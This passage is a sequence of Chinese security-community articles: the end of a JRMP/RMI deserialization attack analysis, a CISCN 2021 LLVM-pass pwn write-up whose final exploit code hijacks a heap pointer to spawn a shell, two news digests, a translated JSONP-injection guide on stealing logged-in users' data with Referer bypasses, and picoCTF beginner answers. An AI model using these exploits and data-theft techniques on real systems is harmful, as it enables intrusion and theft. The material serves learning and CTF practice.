就是处理了一下来自 JRMPListener 的具体反馈，还记得在 RMI 反序列化中的 invoke 里就是处理来自漏洞服务器执行命令后的报错（基于报错的
RMI 反序列化利用 payload 中可以查看到相关代码），这里反过来利用的，既然他可以处理来自 server
端的报错情况，那么我们就可以将任意代码执行的 payload 放进 JRMPListener 的报错反馈中，然后让 JRMPClient 进行反序列化来自
JRMPListner 的报错反馈（因为这整个过程都是通过序列化/反序列化实现的，对于数据的传输，都建立在这个基础上），那么 JRMPClient
那一端，就可以执行任意代码了
### JRMPListener
这里的 JRMPListener 是 exploit/JRMPListener ，另一个路径下的 JRMPListener 是
payloads/JRMPListener ，主要功能是开启目标主机的 JRMP 监听服务。
我们现在分析的是 exploit/JRMPListener ，他的主要功能是，自己实现了 JRMP 的对任意 JRMP client 的应答请求处理
#### 处理流程
看看它的入口函数：
第一个红框就是代替了用户自定义输入，我们直接手动生成 payloadObject，随即就被作为参数带入了 JRMPListener 的构造函数里，最后调用了
run 函数
先看看 构造函数
payloadObject 赋值给了 当前类的 pyaloadObject 成员，随即就开启的 socket 服务端，准备好来自 JRMPClient
的连接
跟进 run 函数发现，一来就开始 accept 来自任意 client 的tcp 连接，但是收到连接后，会根据条件进行限制，必须是经过 JRMP
协议的连接才行，这其中有一些协议解析的控制流程，就不细看了，我们直接看如果是正常 JRMP 协议的 tcp 连接，那么会进入到如下图：
满足第一个 case 也可以进入第二个 case 的，其实这两个 case 的判断条件就是一个数字而已，75和76，感觉很熟悉，和 Registry 里的
rmi server 端类似
可以看见，将重要的东西都带入了 doMessage 函数里，其中还有 payloadObject ，也就是我们自定义生成的 payload
跟进 doMessage 函数
读取一个 int ，然后根据其值做不同的操作，这个 TransportConstants.Call 其实就是 80
哈，很熟悉吧，Registry 里也是 80，可以在 StreamRemoteCall 的构造函数里看见，它向 server 端发送了一个 80
回到 doMessage 函数中，我们继续跟踪 doCall 函数
（里面其实最重要的部分在于向 client 端发送 payload ，其他部分都仅仅是优化了用户体验-输出显示进度....）
就看关键部分
先返回了一个 TransportConstants.ExceptionalReturn ，其值为 2
这里生成了一个 BadAttributeValueExpException 的对象，然后将其 val 成员变量设置为 payload
了，这里的payload是我们选取的 CommonsCelloections5 模块生成的，只要有反序列化，那么就会触发代码执行。最后将其发送给了
JRMPClient
到这里 JRMPListener 已经分析完了
#### 后续
我们可以跟到 JRMPClient 的后续过程中，看看啥情况
从 JRMPListener 生成的这个 ex 对象来看，应该还是个异常相关的
还记得 Registry 利用的过程中，就是利用了 server 执行的代码后，直接 throw 出异常，然后返回给 client 端，造成了命令执行的回显
那么这里理应也该如此，只是利用方式反过来了，在 JRMPClient 接收到 JRMPListener
的反馈的异常后，就会将异常反序列化，并且打印出来，那么反序列化过程中，又肯定会去反序列化 BadAttributeValueExpException
对象中的 val 成员变量，那么这个时候就触发了我们构造好的 payload
具体是在 DGCImpl_Stub 的 dirty 里
发送了一个 newCall 给 JRMPListener 后，继续获取 JRMPListener 的反馈
跟进 UnicastRef.invoke 函数
老路子，跟进 StreamRemoteCall.executeCall 函数
我们从上文中知道了，这里肯定是进入 case2 的，接着反序列化来自 JRMPListener 的异常.... 触发任意代码执行
### 总结
说是 JRMP 协议的利用，实际上还是利用的现有的 rmi 实现的 DGC 功能来达到目的
从 rmi 的利用来看，目前是两个，一个 DGC ，一个 Registery，都是用到了 ***Impl_Stub
这个东西，那么照着关键字搜索一下，就可以发现还有一些其他的：
### 协议相关（题外话）
JRMP-rmi 的通信约定如下图：
现在我们遇见过的有 75、76、80、81、2
分别表示：
75、76 代表 client 向 server 发出的一个请求信号，指示下一步
80 是 client 向 server 发出的 call 请求，一般用作 client 本地向 server 索要某种服务
81 就是 server 要向 client 发出反馈的一个标志，让 client 尽快处理 server 的反馈
2 是 server 向 client 反馈的异常，让 client 好分辨出到底 server 发的是啥信息，正常返回还是异常报错 | 社区文章 |
> 这是LLVM PASS PWN的第二篇，这一篇主要记录学习一下LLVM PASS PWN如何调试，并拿CISCN 2021
> SATool来做第一道LLVM PASS PWN解，笔者的做题环境都是ubuntu20.04
之前的文章链接：
* [LLVM PASS PWN (一)](https://xz.aliyun.com/t/11762)
# LLVM PASS PWN (二)
## 调试 LLVM PASS
在正式做LLVM PASS PWN的时候首先学习一下如何调试LLVM PASS，还是用上一篇文章的LLVM PASS
其实真正攻击的目标是opt，上一章使用的opt-12，所以这里使用`gdb /bin/opt-12`，用`set args`设置参数传入即可
开始的时候vmmap可以发现并没有加载LLVMHello.so
需要将这些call都跑掉之后，就可以看到LLVMHello.so加载成功
如下加载成功
如果想要在模块中下断点只需要用so第一个的地址加上偏移即可
## CISCN 2021 SATool
### 逆向分析
下载之后可以发现有如下东西
➜ 附件 ls
libc-2.27.so libLLVM-8.so.1 libstdc++.so.6.0.25 opt quickstart.txt SAPass.so
SAPass.so就是自定义的一个Pass，漏洞就发生在这里面，还有一个opt，这个就是我们最后的攻击目标`./opt --version`即可查看版本
➜ 附件 ./opt --version
LLVM (http://llvm.org/):
LLVM version 8.0.1
Optimized build.
Default target: x86_64-pc-linux-gnu
Host CPU: skylake
还有一个`quickstart.txt`，这个是出题人写的说明，看一下
Jack has developed a malicout analysis tool and leave a backdoor in it.
Can you hack the tool and get shell?
You can send the base64 of bitcode to the server, and the server will decode it and run "./opt -load ./SAPass.so -SAPass ./exp.bc“your_bitcode".
You can directly use the following script to send base64 code to server:
from pwn import *
import sys
context.log_level='debug'
con = remote(sys.argv[1], sys.argv[2])
f = open("./exp.bc","rb")
payload=f.read()
f.close()
payload2 = payload.encode("base64")
con.sendlineafter("bitcode: \n", payload2)
con.interactive()
上面说明了如何操作，并贴出了打远程的脚本，接下来做的就是对SAPass.so进行逆向
进入ida之后可以发现符号表没了，上一篇文章说过漏洞基本发生在重写`runOnFunction`的函数，而`runOnFunction`在vtable最后一个，所以我们现在去寻找一下vtable，跟进sub_1930
看到对象的创建了，vtable应该就在最下面的`off_203d30`，直接跟进
成功发现vtable的位置，上一篇说到最后一个是`runOnFunction`，因为被重写了所以直接跟进，跟进后发现一共566行的c++的反汇编代码，头大
从头开始分析，首先是用了getName来获得每个函数的名称，并且名称里面必须有`r0oDkc4B`，因为是小端序，Name的类型是QWORD存储，所以是`B4ckDo0r`，但是还会判断v3==8，这里不知道v3是什么，所以我们看一下汇编
有一个`cmp rdx,
8`，rdx是上面函数的返回值里的一个，意思就是对象名字的长度是否是8，接着会将`B4ckDo0r`放入rcx中，会比较rcx和rax地址里的内容，而rax是函数的返回值，所以判断函数名称是否是`B4ckDo0r`，和上面分析的一样
接下来的东西很多也很乱，在比赛的时候要做的就是如何能快速筛选出有用的数据，笔者觉得动静分析可以快速的分析这个程序的逻辑，所以我们写一个exp.c再用clang-8编译成exp.ll
//clang-8 -S -emit-llvm exp.c -o exp.ll
#include <stdio.h>
int B4ckDo0r(){
return 0;
}
用上面调试LLVM PASS的方法对这题进行调试，并在`SAPass.so的基址 +
0x1A14`这里下个断点然后单步执行进行调试，同时在调试的时候结合静态分析，`if ( v3 == 8 && *Name == 'r0oDkc4B'
)`这个判断已经成功满足，但是最后会跑飞跑到0x2234这里就退出了
造成这样的原因是`B4ckDo0r`这个函数已经结束了，没有检测到这个函数里面的东西，那我们给他放入一点东西看一下会不会跑到0x2234这里就退出
#include <stdio.h>
int B4ckDo0r(){
printf("hello");
return 0;
}
调试之后发现已经跑不到219这里了已经可以继续往下走了，继续调试，当执行到`0x1A9E`这里时会调用`llvm::Value::getName`
获取到了printf这个函数，并且长度放入rdx中，继续调试，会执行到`if ( !(unsigned
int)std::string::compare(&fnc_name, "save")
)`这条语句，一参是printf函数的名字，二参是save，这个意思就是判断是否在`B4ckDo0r`中调用了save函数
既然这样判断了，那肯定还有类似的判断，漏洞及有可能出现在这些函数处理功能内，一个一个看，首先是save函数
`Invalid opcode`这种东西没什么意义，只要正常写程序都不会触发这些报错，我们再写一个exp.c继续调试
#include <stdio.h>
void save(){
}
int B4ckDo0r(){
save();
return 0;
}
可以进入save函数处理功能，但是到了`if ( -1431655765 * (unsigned int)((v15 + 24 * v18 - 24 *
(unsigned __int64)NumTotalBundleOperands - v20) >> 3) == 2
)`这里之后会直接退出了，会判断是否为2，直接盲猜一下是否是save需要两个参数
#include <stdio.h>
void save(char *a, char *b){
}
int B4ckDo0r(){
save("a", "b");
return 0;
}
成功继续执行了，接着到了核心的地方，v25是一参，v30是二参，会将一参和二参利用memcpy放入一个chunk中
save功能已经看过，看下面的takeaway，找到了和上面一样的东西，所以我们给takeaway一参
但是在调试这个处理函数功能中，最后到了`heap_ptr = (_QWORD *)heap_ptr[2];`然后释放
继续看stealkey这个功能
需要注意的下面的`byte_204100 =
*heap_ptr`，这个heap_ptr是我们save的时候所创建的，里面存放的是save的一参和二参，这个`byte_204100 =
*heap_ptr`其实就是把一参给传到204100里了，调试一下看一下是否正确
pwndbg> x/gx 0x7ffff3b72000 + 0x204100
0x7ffff3d76100 <byte_204100>: 0x0000000000820061
成功执行了，继续看fakekey这个功能
第482行和上面一样，需要传一个参数，所以我们可以构造如下exp.c
#include <stdio.h>
void save(char *a, char *b){
}
void takeaway(char *c){
}
void stealkey(){
}
void fakekey(char *d){
}
int B4ckDo0r(){
save("a", "b");
stealkey();
fakekey("c");
return 0;
}
调试了之后发现sextvalue是fakekey的一参，但是给了c之后会直接到else这里，所以我们将c改成整数再试试
#include <stdio.h>
void save(char *a, char *b){
}
void takeaway(char *c){
}
void stealkey(){
}
void fakekey(int d){
}
int B4ckDo0r(){
save("a", "b");
stealkey();
fakekey(0x10);
return 0;
}
再调试一下可以发现byte_204100和*heap_ptr这里的值都加上0x10了
pwndbg> x/gx 0x7ffff3d76100
0x7ffff3d76100 <byte_204100>: 0x0000000000820071
继续下一个功能
run这里会直接执行(*heap_ptr)()
### 漏洞利用
总结一下上面的操作
* save，会将一参二参放入heap_ptr中
* takeaway，`heap_ptr = (_QWORD *)heap_ptr[2];`
* stealkey，会将save的一参放入`byte_204100`
* fakekey，会将`byte_204100`和`*heap_ptr`加上`fakekey`的一参
* run，会执行`*heap_ptr`
不难想出利用方法，因为最后会执行`*heap_ptr`，所以我们可以将`*heap_ptr`改成one_gadget
那如何将`*heap_ptr`改成one_gadget呢，因为fakekey可以改`*heap_ptr`，所以我们需要想办法将`*heap_ptr`放一个libc上的地址然后再利用fakekey的偏移改成one_gadget
怎么在`*heap_ptr`上放一个libc呢，我们看一下bins的情况
发现了0x20上有很多chunk，也发现了unsortedbin和small bin，那我们是不是可以将tcache清空， 再申请的时候就会有libc地址了
这样的话就可以把libc上的地址放到`*heap_ptr`上了，需要注意的是最后一个的一参放空
最后main_arena +
112会到`*heap_ptr`上，利用fakekey打*heap_ptr为one_gadget即可，因为笔者用的2.31的ubuntu，所以直接ogg2.31
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
0x7ffff3e39000 0x7ffff3e5b000 r--p 22000 0 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff3e5b000 0x7ffff3fd3000 r-xp 178000 22000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff3fd3000 0x7ffff4021000 r--p 4e000 19a000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff4021000 0x7ffff4025000 r--p 4000 1e7000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff4025000 0x7ffff4027000 rw-p 2000 1eb000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
所以有
pwndbg> p/x 0x7ffff4025bf0 - 0x7ffff3e39000
$9 = 0x1ecbf0
`0x1ecbf0 - 0xe3afe = 0x1090f2`，exp如下
#include <stdio.h>
void save(char *a, char *b){
}
void takeaway(char *c){
}
void stealkey(){
}
void fakekey(int d){
}
void run(){
}
int B4ckDo0r(){
save("z1r0", "z1r0");
save("z1r0", "z1r0");
save("z1r0", "z1r0");
save("z1r0", "z1r0");
save("z1r0", "z1r0");
save("z1r0", "z1r0");
save("z1r0", "z1r0");
save("", "z1r0");
stealkey();
fakekey(-0x1090f2);
run();
return 0;
}
## 总结
如何快速的筛选出有用的代码是最关键的地方，必要的时候需要动静结合分析这样可以快速理解程序逻辑 | 社区文章 |
# 12月16日安全热点 - 加密函数后门/Synaptics回应键击记录
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Uber表示去年的数据泄漏有17万菲律宾用户受到影响
<https://www.rappler.com/technology/news/191424-filipinos-affected-2016-uber-data-breach>
CVE-2017-17405 Net::FTP命令注入漏洞
<https://www.ruby-lang.org/en/news/2017/12/14/net-ftp-command-injection-cve-2017-17405/>
Synaptics表示疑似是Keylogger程序实际是调试工具
<https://www.bleepingcomputer.com/news/security/synaptics-denies-hp-driver-contains-a-keylogger-and-says-its-a-debug-tool/>
## 技术类
Bug Bounty：Fastmail
<https://medium.com/bugbountywriteup/bug-bounty-fastmail-feeda67905f5>
高级模糊测试你所需要知道的事
<http://groundx.io/docs/ZeroNights2017-darko-fuzzer.pdf>
Telegram Message目录穿越漏洞
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1470>
浅谈加密函数中的后门
<https://www.theregister.co.uk/2017/12/15/crypto_mathematical_backdoors/>
恶意软件经常使用的枚举软件信息工具
<https://github.com/swizzlez/Invoke-EnumSecurityTools>
分析Firefox、IE、Edge、Chrome中HSTS安全性
<http://blog.en.elevenpaths.com/2017/12/breaking-out-hsts-and-hpkp-on-firefox.html>
渗透通信方式总结
<https://bitrot.sh/cheatsheet/14-12-2017-pivoting/>
Lazarus组织开始攻击伦敦比特币公司
[https://www.reuters.com/article/us-markets-bitcoin-northkorea/suspected-north-korean-cyber-group-seeks-to-woo-bitcoin-job-seekers](https://www.reuters.com/article/us-markets-bitcoin-northkorea/suspected-north-korean-cyber-group-seeks-to-woo-bitcoin-job-seekers-idUSKBN1E91ZW)
安全工作的数据准备与数据质量
<https://posts.specterops.io/ready-to-hunt-first-show-me-your-data-a642c6b170d6>
择机行事：在放假的时候就要钓鱼
<http://www.securityinfowatch.com/article/12386892/phishing-during-the-holidays-why-hackers-see-your-employees-as-opportunities> | 社区文章 |
# 【技术分享】JSONP注入实战指南
|
##### 译文声明
本文是翻译文章，文章来源：securitycafe.ro
原文地址：<https://securitycafe.ro/2017/01/18/practical-jsonp-injection/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **shan66**](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：200RMB**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
JSONP注入是一种鲜为人知却又相当普遍和危险的漏洞。JSONP是随着最近几年JSON、Web API的迅速崛起和对跨域通信的迫切需要而应运而生的。
**什么是JSONP？**
这里我们假设大家都已经了解JSON了，所以下面直接开始讨论JSONP。JSONP(JSON with
Padding)是JSON的一种“使用模式”，可用于解决主流浏览器的跨域数据访问的问题。
让我们举个例子。 我们的网上银行应用程序，http://verysecurebank.ro，已实现一个API调用，可以用来返回当前用户的交易数据。
这样，通过向<http://verysecurebank.ro/getAccountTransactions>
端点发送HTTP请求，我们就能得到JSON格式的交易数据：
如果我们的报表应用程序（<http://reports.verysecurebank.ro>
）希望获取交易的详细信息的话，由于同源策略（不同主机）的原因，所以是无法通过AJAX对该页面进行调用的。
为了解决这个问题，JSONP便应运而生了。
由于跨域脚本包含（主要用于加载JavaScript库，如jQuery，AngularJS等）是允许的，但不推荐，所以，我们可以这样来解决这个问题：在响应中预填回调函数。
需要注意的是，当跨域包含脚本时，脚本将在包含应用程序的上下文中运行，而不是在脚本的源上下文中运行。
通过为API响应添加一个回调函数，并封装JSON格式的数据，就允许我们加载脚本标签之间的API响应，并允许通过定义我们自己的回调函数来处理它的内容。
**漏洞利用**
下面列出一些最常见的情形：
回调函数被硬编码到响应中
基本函数调用
对象方法调用
回调函数是动态的
通过URL（GET变量）可以实现完全控制
通过URL（GET变量）可以实现部分控制，但需要附加一个数字
通过URL（GET变量）可以实现控制，但最初不显示在请求中
**基本函数调用**
一个非常常见的例子，就是将回调函数myCallback硬编码到响应的JSON格式的数据中：
我们首先需要定义myCallback函数，然后在脚本标签中引用API调用就可以轻松利用这一点：
注意：一定要在包含该响应之前定义这个函数，否则将会调用未定义的函数，导致无法获取任何数据。
当登录的受害者访问我们的恶意页面时，我们就能得到他的数据。 为了简洁起见，我们在当前页面中显示数据。
**对象方法调用**
这跟第一个例子几乎完全相同，并且您可能会在ASP或ASP.NET Web应用程序中遇到它。
在我们的示例中，System.TransactionData.Fetch作为回调函数添加到JSON格式的数据中：
我们只需为TransactionData对象创建Fetch方法，该对象是System对象的一部分。
由于结果都是一样的，所以从现在开始不再提供相关的截图。
**通过URL（GET变量）实现完全控制**
这是最常见的情况：回调函数在URL中指定，并且我们可以完全控制它。
通过URL中的callback参数，我们可以修改回调函数的名称，因此我们将其设置为testing，并在响应中检查它的变化情况：
我们基本上可以使用跟前面完全相同的漏洞利用代码，只是利用script标签包含响应时不要忘了添加参数callback。
**通过URL（GET变量）实现部分控制，但需要附加一个数字**
在这种情况下，回调函数名称需要附加一些东西，通常是一个数字。在大多数情况下，我们得到的东西类似于附加短数（如12345）的jQuery，例如回调函数名称将变成jQuery12345。
逻辑上，漏洞利用代码保持不变，我们只需要将12345添加到我们的回调函数名称后面，而不是在包含脚本时添加。
但如果数字不是硬编码怎么办？如果数字是动态的，并且对于每个会话都不相同，那怎么办呢？如果它是一个相对较短的数字，我们可以通过编程的方式来预定义每个可能的函数。我们假设附加的数字最大值为99.999。我们可以以编程方式创建所有这些函数，因为我们已经知道了回调函数的名称，所以只要附加相应的数字即可。下面给出了一个示例代码，这里使用了一个更简单的回调函数来演示结果：
简单介绍一下代码：我们硬编码了一个回调函数，名为jQuery，我们为函数的数字设置了一个上限。在第一个循环中，我们在callbackNames数组中生成回调函数名。然后我们循环遍历数组，并将每个回调函数名称转换为全局函数。请注意，为了减少代码，我只提醒第一笔交易中发送的金额。让我们看看它是如何工作的：
在我的机器上，花了大约5秒钟时间来显示警报，回调函数名称为jQuery12345。这意味着Chrome在5秒内创建了超过10.000个函数，所以我可以很大胆地说，这是一个非常可行的漏洞利用方法。
通过URL（GET变量）可以实现控制，但最初不会显示在请求中
最后一个场景涉及一个API调用，由于它没有使用回调函数，因此没有可见的JSONP。当开发人员遗留下来的与其他软件的“隐式”向后兼容性，或在重构时没有删相关代码，那么就可能出现这种情况。因此，当看到没有回调函数的API调用时，特别是JSON格式的数据已经被放入括号之间时，可以手动添加回调函数到请求中。
如果我们有API调用<http://verysecurebank.ro/getAccountTransactions> ，就可以设法猜测回调变量：
<http://verysecurebank.ro/getAccountTransactions?callback=test>
<http://verysecurebank.ro/getAccountTransactions?cb=test>
<http://verysecurebank.ro/getAccountTransactions?jsonp=test>
<http://verysecurebank.ro/getAccountTransactions?jsonpcallback=test>
<http://verysecurebank.ro/getAccountTransactions?jcb=test>
<http://verysecurebank.ro/getAccountTransactions?call=test>
虽然这些是最常见的回调函数名称，但是您还可以继续猜测其他名称。如果我们的回调函数名称被添加到了响应中，自然就能获取到一些数据。
**简单的数据采集技术**
到目前为止，我们只是在显示数据，下面开始介绍如何将数据发送回来。这是JSONP数据抓取的一个最简单的示例，您可以将其用于概念验证。
我们使用data参数中的应用程序响应（交易数据）向我们的数据采集器发出GET请求。
注意：确保对数据使用了JSON.stringify()，因为它是一个对象，我们不希望在我们的文件中只有[object Object]。
注意：如果响应很大，请确保切换到POST，因为由于HTTP GET大小的限制，您可能无法接收完整的数据。
这里是我们的grabData.php代码，我们将接收到的数据追加到data.txt文件中：
**常见问题**
在寻找具有JSONP漏洞的Web应用程序时，我们可能会遇到一些问题。在这里，我们将介绍解决这些问题的方法。
**Content-Type和X-Content-Type-Options**
如果在API请求的响应头部中，X-Content-Type-Options设置为nosniff，则必须将Content-Type设置为JavaScript（text / javascript，application / javascript，text /
ecmascript等）。这是因为通过在响应中包含回调函数的话，响应就不再是JSON，而是JavaScript。
如果您想知道自己的浏览器将哪些内容类型解释为JavaScript的话，请将浏览器导航至https://mathiasbynens.be/demo/javascript-mime-type。
在此示例中，Content-Type设置为application / json，X-Content-Type-Options设置为nosniff。
最新版本的Google Chrome、Microsoft Edge和Internet Explorer 11可以成功阻止脚本执行。但是，Firefox
50.1.0（目前是最新版本）却没有这么做。
注意：如果X-Content-Type-Options：nosniff头部未设置的话，它将适用于所有上述浏览器。
注意：旧版本的浏览器没有进行严格的MIME类型检查，因为X-Content-Type-Options是最近才实现的。
**响应代码**
有时我们可能会得到200之外的一些响应代码。我对下列浏览器进行了相关的测试：
Microsoft Edge 38.14393.0.0
Internet Explorer 11.0.38
Google Chrome 55.0.2883.87
Mozilla Firefox 50.1.0
下面将测试结果总结如下：
响应代码 相关浏览器
100 Continue Internet Explorer, Microsoft Edge, Google Chrome
101 Switching Protocols Google Chrome
301 Moved Permanently Google Chrome
302 Found Google Chrome
304 Not Modified Microsoft Edge
因此，即使我们没有得到200 HTTP代码，该漏洞仍然可以在其他浏览器中使用。
**绕过Referrer检查**
**1.使用数据URI方案**
如果有HTTP Referer检查，我们可以设法不发送它，以绕过验证。 我们怎么才能做到这一点内？引入数据URI。
我们可以滥用数据URI方案，以便在没有HTTP Referer的情况下发出请求。
因为我们要处理的是代码，其中包括引号、双引号和其他语法断开字符，所以我们需要对我们的payload（回调函数定义和脚本包含）进行base64编码。
下面是具体的语法：
data：text/plain; base64，our_base64_encoded_code
以下是允许我们使用数据URI方案的三个主要HTML标签：
iframe（在src属性中）——它在Internet Explorer中不起作用
embed（在src属性中）——它在Internet Explorer和Microsoft Edge中不起作用
object（在data属性中）—— 它在Internet Explorer和Microsoft edge中不起作用
通过下图我们可以看到，API请求中没有发送HTTP Referer。
**2.从HTTPS页面发送HTTP请求**
如果我们的目标网站可以通过HTTP访问，我们还可以通过在HTTPS页面上托管我们的代码来避免发送HTTP
Referer。如果我们从HTTPS页面发出HTTP请求，浏览器就不会发送Referer头部，以防止信息泄露。
我们要做的就是在启用HTTPS的网站上托管我们的恶意代码。
注意：由于混合内容安全机制的关系，这种方法不适用于启用了默认设置的现代Web浏览器。
但是，它在旧版本的浏览器中是可行的，并且不发送HTTP Referer头部，我们可以看到：
**如何解决这个安全问题**
最后，让我们看看我们如何预防这种安全攻击的发生。最直接和最现代的方法是CORS（跨源资源共享）。
1.完全删除JSONP功能
2.请将Access-Control-Allow-Origin头部添加到API响应中
3.使用跨网域AJAX请求
因此，<http://reports.verysecurebank.ro>
将以下跨网域AJAX请求嵌入到<http://verysecurebank.ro/getAccountTransactions> ：
API响应包括Access-Control-Allow-Origin：[http://reports.verysecurebank.ro：](http://reports.verysecurebank.ro%EF%BC%9A)
我们将获得<http://verysecurebank.ro/getAccountTransactions> 的内容：
**小结**
虽然JSONP的使用率在逐渐降低，但仍然有大量的网站还在使用或支持它。最后提醒一下，当处理JSONP时，别忘了顺便检查一下反射式文件下载和反射式跨站脚本漏洞。阅读愉快！ | 社区文章 |
# 5月15日安全热点 - Facebook因数据滥用而暂停200个应用程序
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞 Vulnerability
EFAIL：PGP/GPG 和 S/MIME漏洞预警
<http://t.cn/R3i7O0P>
CVE-2018-1313：Apache Derby外部控制输入漏洞
<http://t.cn/R36EZ9N>
CVE-2018-11013：D-Link DIR-816 A2（CN）路由器允许未经身份验证的远程攻击者请求执行任意代码
<http://t.cn/R36Eh7V>
## 恶意软件 Malware
熊猫银行家恶意软件用于针对银行，加密货币交易所和社交媒体的多项活动
<http://t.cn/R36EOFS>
深入挖掘RIG Exploit Kit提供的名为Grobios的木马
<http://t.cn/R36ElEo>
针对土耳其反对派的德国间谍软件
<http://t.cn/R36EYnH>
## 安全事件 Security Incident
Facebook因数据滥用而暂停200个应用程序
<http://t.cn/R36EfaH>
Electron框架中存在漏洞，GitHub等知名桌面应用受影响
<http://t.cn/R36EcIq>
Nigelthorn恶意软件已经通过滥用称为Nigelify的Google Chrome扩展程序，在100个国家/地区感染了100,000多个系统
<http://t.cn/R36EyF9>
ACCC调查Oracle研究显示Google用户的Android手机计划数据为间谍
<http://t.cn/R3iaYSt>
丹麦铁路公司DSB遭DDoS攻击无法购票
<http://t.cn/R36EMLF>
## 安全资讯 Security Information
研究人员发现证据北韩黑客正在开发iPhone间谍软件
<http://t.cn/R36ExHs>
Adobe更新了Acrobat，Reader和Photoshop修复了47个漏洞
<http://t.cn/R36Ei20>
2018年第1季度IT威胁报告
<http://t.cn/R3iuiiS>
以苹果用户为目标的钓鱼攻击活动试图欺骗受害者更新他们的个人资料
<http://t.cn/R36EaMc>
WannaCry爆发一年后，EternalBlue的威胁仍然存在
<http://t.cn/R36Eo6l>
## 安全研究 Security Research
使用CVE-2018-8897以内核特权执行任意代码
<http://t.cn/R36EKeV>
Sandmap – 使用大规模Nmap引擎支持网络和系统侦测的工具
<http://t.cn/R36EpP4>
re_lab：使用docker的便携式逆向工程环境
<http://t.cn/R3xUymS> | 社区文章 |
# 前言
接上篇，General-skills部分主要是一些linux命令的使用和小tricks。部分题目文件已打包为附件。
# General Warmup 1 2 3
## Question
> If I told you your grade was 0x41 in hexadecimal, what would it be in ASCII?
>
> Can you convert the number 27 (base 10) to binary (base 2)?
>
> What is 0x3D (base 16) in decimal (base 10).
# Solution
三题签到题，差不多一个意思，就放一起了。
>>> chr(0x41)
'A'
>>> bin(27)[2:]
'11011'
>>> 0x3d
61
flag:
* `picoCTF{A}`
* `picoCTF{11011}`
* `picoCTF{61}`
# Resources
## Question
> We put together a bunch of resources to help you out on our website! If you
> go over there, you might even find a flag! <https://picoctf.com/resources>
> ([link](https://picoctf.com/resources))
### Hint
No hints available
## Solution
打开网页下拉，就能看到flag
Thanks for reading the resources page! Here’s a flag for your time: picoCTF{xiexie_ni_lai_zheli}
flag:`picoCTF{xiexie_ni_lai_zheli}`
# Grep 1
## Question
> Can you find the flag in
> [file](https://2018shell2.picoctf.com/static/7216e49d925b623c5d2cf9d141a6e180/file)?
> This would be really obnoxious to look through by hand, see if you can find
> a faster way. You can also find the file in
> /problems/grep-1_3_8d9cff3d178c231ab735dfef3267a1c2 on the shell server.
### Hint
> grep [tutorial](https://ryanstutorials.net/linuxtutorial/grep.php)
## Solution
`grep`，(global search regular expression(RE) and print out the
line,全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具，它能使用正则表达式搜索文本，并把匹配的行打印出来。
`cat file`会有一大堆乱码字符，使用`grep picoCTF file`可以把flag从乱码中提取出来。
finn@pico-2018-shell-2:/problems/grep-1_2_ee2b29d2f2b29c65db957609a3543418$ grep picoCTF file
picoCTF{grep_and_you_will_find_42783683}
# net cat
## Question
> Using netcat (nc) will be a necessity throughout your adventure. Can you
> connect to `2018shell1.picoctf.com` at port `49387` to get the flag?
### Hint
nc [tutorial](https://linux.die.net/man/1/nc)
## Solution
`nc`是一个简单、可靠的网络工具，可通过TCP或UDP协议传输读写数据。
通过nc连接题目的服务器得到flag。
❯ nc 2018shell2.picoctf.com 36356
That wasn't so hard was it?
picoCTF{NEtcat_iS_a_NEcESSiTy_9454f3e0}
flag:`picoCTF{NEtcat_iS_a_NEcESSiTy_9454f3e0}`
# pipe
## Question
> During your adventure, you will likely encounter a situation where you need
> to process data that you receive over the network rather than through a
> file. Can you find a way to save the output from this program and search for
> the flag? Connect with `2018shell1.picoctf.com 48696`.
### Hint
> Remember the flag format is picoCTF{XXXX}
>
> Ever heard of a pipe? No not that kind of pipe... This
> [kind](http://www.linfo.org/pipes.html)
## Solution
**管道命令** 操作符是：`|`,它能处理经由前面一个指令传出的正确输出信息，也就是 standard output 的信息，然后作为标准的输入
standard input，传递给下一个命令。
连接服务器，配合`grep`得到flag。
❯ nc 2018shell2.picoctf.com 34532 |grep picoCTF
picoCTF{almost_like_mario_b797f2b3}
flag:`picoCTF{almost_like_mario_b797f2b3}`
# Strings
## Question
> Can you find the flag in this
> [file](https://2018shell2.picoctf.com/static/a3d311b507256d5d9299c0e94dfc4fc5/strings)
> without actually running it? You can also find the file in
> /problems/strings_2_b7404a3aee308619cb2ba79677989960 on the shell server.
### Hint
> [strings](https://linux.die.net/man/1/strings)
## Solution
`strings`命令可以打印文件中可打印的字符，使用`strings`命令配合`grep`命令可以把flag提取出来。
finn@pico-2018-shell-2:/problems/strings_4_40d221755b4a0b134c2a7a2e825ef95f$ strings strings |grep picoCTF
picoCTF{sTrIngS_sAVeS_Time_d3ffa29c}
flag:`picoCTF{sTrIngS_sAVeS_Time_d3ffa29c}`
# grep 2
## Question
> This one is a little bit harder. Can you find the flag in
> /problems/grep-2_3_826f886f547acb8a9c3fccb030e8168d/files on the shell
> server? Remember, grep is your friend.
### Hint
> grep [tutorial](https://ryanstutorials.net/linuxtutorial/grep.php)
## Solution
目录下有许多个文件夹，每个文件夹下面又有文件夹和文件。可以使用`grep -r`选项来递归的搜寻文件。
finn@pico-2018-shell-2:/problems/grep-2_3_826f886f547acb8a9c3fccb030e8168d/files$ grep -r picoCTF
files2/file20:picoCTF{grep_r_and_you_will_find_556620f7}
flag:`picoCTF{grep_r_and_you_will_find_556620f7}`
# Aca-Shell-A
## Question
> It's never a bad idea to brush up on those linux skills or even learn some
> new ones before you set off on this adventure! Connect with `nc
> 2018shell1.picoctf.com 27833`.
### Hint
